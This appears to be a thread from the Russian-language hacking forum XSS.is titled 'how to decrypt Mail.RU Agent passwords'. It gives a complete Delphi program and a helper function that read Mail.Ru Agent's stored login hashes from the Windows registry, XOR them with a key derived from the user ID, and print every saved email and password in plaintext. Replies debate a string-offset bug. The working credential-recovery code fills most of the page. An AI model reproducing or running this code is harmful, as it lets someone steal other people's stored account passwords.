• XSS.stack #1 – первый литературный журнал от юзеров форума

Как дешифрвать пароли от MAIL.RU AGENT

Молодец, раз нашел. А в чем дальше пробелема? Читаем комменты и протируем на Delphi. Делов ровно на 16 минут.

Код:
program mpr;

{$APPTYPE CONSOLE}

uses
  Windows, SysUtils;

const
  szKey:   PChar = 'Software\Mail.Ru\Agent\mra_logins\';
  szKeyID: PChar = 'Software\Mail.Ru\Agent';

var
  RegKey: HKEY;
  ErrorCode: LONGINT;
  dwNumOfValues: DWORD;

  ID_LPSTR, chBuffer, hash, pass: array [0..255] of Char;
  chData: array [0..255] of Byte;

  sID: String;
  lIDLen, lBufLen, lDataLen: DWORD;
  
  ID: Cardinal;
  key, I,J: Integer;
begin
  lIDLen:= 256;
  lBufLen:= 256;
  lDataLen:= 256;
  
  RegOpenKeyEx(HKEY_CURRENT_USER,szKeyID,0,KEY_QUERY_VALUE, RegKey);
  FillChar(ID_LPSTR, 256, #0);
  RegQueryValueEx(RegKey,'ID',0,0, PByte(@ID_LPSTR), @lIDLen);

  ID:= 0;
	sID:= StrPas(ID_LPSTR);
  Val(sID, ID, ID);
  key:= ID mod 256;
  
  WriteLn('[M-Agent Password Recovery] author: execoma_ aka Alpatov_ xwt[at]mail.ru');
  WriteLn('Delphi ported: 2006(C)Sax-mmS, icq: 272727765');
  WriteLn('ID: ',ID, '; KEY: ', key);

  RegOpenKeyEx(HKEY_CURRENT_USER,szKey,0,KEY_QUERY_VALUE, RegKey);

  I:= 0;
  while I >= 0 do
  begin
    FillChar(chBuffer, 256, #0);
    FillChar(chData, 256, #0);

    if RegEnumValue(RegKey, I, chBuffer, lBufLen,0, nil, PByte(@chData), @lDataLen) <> ERROR_SUCCESS then Break;

    for J:= 4 to lDataLen-1 do
    begin
      hash[J]:= Chr(chData[J]);
      chData[J]:= chData[J] xor key;
      pass[J-4]:= Chr(chData[J]);
    end;

    CharToOem(pass, pass);
    WriteLn('mail: ',chBuffer,'; pass: ',pass);

  end;

  RegCloseKey(RegKey);

  ReadLn;
end.
 
Чет не правильно пашет у меня RegEnumValue, берет тока один из ключей, а не все. Абыдно, но кому надо препишут, хоть на TRegistry

Вот сама процедура для дешифрации, простейший xor:

ID - это ID из Software\Mail.Ru\Agent
Hash - это хэш пароля из Software\Mail.Ru\Agent\mra_logins

Код:
  function DecryptMRAPassword(const ID: Cardinal; Hash: String): String;
  var
    S: String;
    I: Integer;
    Key: Integer;
  begin
    Key:= ID mod 256;
    S:= Copy(Hash, 5, Length(Hash));
    Result:= S;

    for I:= 1 to Length(S) do
      Result[I]:= Chr(Ord(S[I]) xor Key);
  end;
 
Я не пытаюсь копировать символов которых нет, и код Copy(Hash, 5, MAXINT) тоже верен. Смотри справку по работе с String и функции Copy.
S:= Copy(Hash, 5, Length(Hash)-5);
Ты сам-то понял, что написал? Твой код скопирует на 1 символ меньше чем надо, если уж на то пошло, то надо
Код:
S:= Copy(Hash, 5, Length(Hash)-4);
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх